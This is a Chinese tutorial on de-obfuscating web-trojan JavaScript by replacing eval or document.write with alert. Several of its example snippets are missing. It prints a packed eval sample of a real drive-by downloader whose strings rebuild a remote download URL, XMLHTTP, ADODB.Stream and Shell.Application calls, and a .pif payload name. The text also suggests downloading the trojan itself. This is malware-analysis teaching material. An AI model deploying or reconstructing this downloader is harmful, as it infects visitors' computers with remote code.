主要介绍网页木马的eval和Document.write解密方法 一. eval加密是在网马解密中最常见的,eval在jscript脚本中实际上是一个函数,简单可以理解为执行语句的的意思。 Eval方法 1. 参数 :codeString 必选。包含有效 JScript 代码的字符串。eval 函数允许动态执行 JScript 源代码。 2. eval函数特点:是将字符串转换为脚本代码,然后就可以执行了,但是,如果字符串里面还有HMTL标签的话,它就不能执行了。 二. Eval解密方法之alert方法: 1.alert函数: 在要对eval解密之前首先需要了解一下alert这个函数,大家可能有个疑问,在解马的过程中怎样才能保证自身系统安全而又不中招呢,我们知道要是直接去访问一些经过加密的网马地址,就相当于在电脑上直接运行了网马。既要能将网马解出,又要保证系统的安全。这时我们就要用到alert这个函数。 alert函数在jscript中有弹出消息内容的作用,我们正是可以利用这一特性,来保证在解马的过程中不会中招。请看下面一个小例子: 将此段代码,粘贴至记事本中保存为htm格式(文件名随意),直接运行后可看到alert函数的效果。 了解以上内容后,接下来我们来看一个eval的实例:eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){pp=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 z,y,x,v,w;B=\'C://I.u/F/D.E\';1 J=\'4.n\';1 i=\'4.h\';1 j=f["g"]["s"]("q");1 8="p:";1 9="0-k-0";1 7="l";1 5="G";1 2="N";1 c="Z-W-Y";1 K="U.X"+"M"+"L"+"H"+"T"+"T"+"P";1 V="A"+"d"+"o"+"d"+"b."+"S"+"t"+"r"+"e"+"a"+"m";1 3="O.";1 6="Q";1 R=3+6;1 2=8+2+c+9+7+5;',62,62,'|var|Gameeeeex|ying|Gameeeeee|Gameeeeesss|yings|Gameeeeess|Gameeeee|Gameeeees|||Gameeeeexx|||window|document|vbs|Gameeenames|chilam|983A|0C04||pif||clsid|object||createElement||com|wwwGameeecn|wwwGameeecn2|Gameeezfx|Gameeezfs|Gameeezf||Gameee|http|f5|css|xia|FC29E36||haoxia18|Gameeename|Gameeexml|||BD96C|Shell||Application|yingx|||Microsoft|Gameeeado|65A3||11D|556'.split('|'),0,{})) 将此段代码复制粘贴至记事本中, 将其中的eval修改为alert其余内容不变,但要加上 实际变为一个脚本。 保存为htm(文件名任意)处理后的代码如下: 解密结果见下图, 我们看到红色框内容为网马的下载地址,鼠标选中这个对话框, ctrl+a全选再ctrl+c复制,可将整个代码粘贴至记事本上。 获得代码地址后,可使用下载工具直接下载网马。 ![]() 第二部分,document.write解密网马 一.Document.write 函数简介: 在Microsoft JScript 提供了两种方式来在浏览器中直接显示数据。可以使用write( ) 和 writeln( ),这两个函数是document 对象的方法。也可以在浏览器中以表格的方式显示信息,以及用警告、提示和确认消息框来显示信息。 使用document.write( ) 和 document.writeln( )显示信息最常用的方式是 document 对象的 write( ) 方法。该方法用一个字符串作为其参数,并在浏览器中显示。该字符串可以是普通文本或 HTML。 字符串可以用单引号或双引号引起来。这样可以引用那些包含引号或撇号的内容。 注:Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上。 二.Document.write函数实例 例1: 将此段代码粘贴至记事本,保存为htm格式直接运行打开。这段代码的执行结果实际上是将hell world 在网页显示出来。 将上面的代码粘贴至记事本,保存为htm直接运行打开,这段代码的执行结果为在联网的情况下,直接会在网页上显示一个框架,而框架的内容为google网站。 我们来简单分析一下这两个例子的执行结果为什么不同: 例1实际上是一个简单的输出,就是将document.write函数后的内容输出至页面。 例2内容包含了html脚本标签: 、 src、 ,此时将会直接执行脚本,而执行的结果为在网页上显示一个框架,而框架的内容为瑞星官方网站。 例1和例2实际上是对“Document.write函数是将字符串转换为Html代码,里面必须有HTML脚本标签,脚本才可以执行,否则,将会被当作字符串输出在网页上”。这段话的一个印证。 Document.write解密方法之alert方法 即在获得的包含有document.write函数的网马代码中,将document.wirte替换为alert函数,将代码保存至记事本,扩展名为htm文件,直接浏览运行。 下面我们将结合一个实例来进行讲解: 某加密恶意网页内容如下: This page requires a javascript enabled browser!!! 注意到其中红色部分,我们可以造个直接获取解密后文字的框: 修改后如下: |
|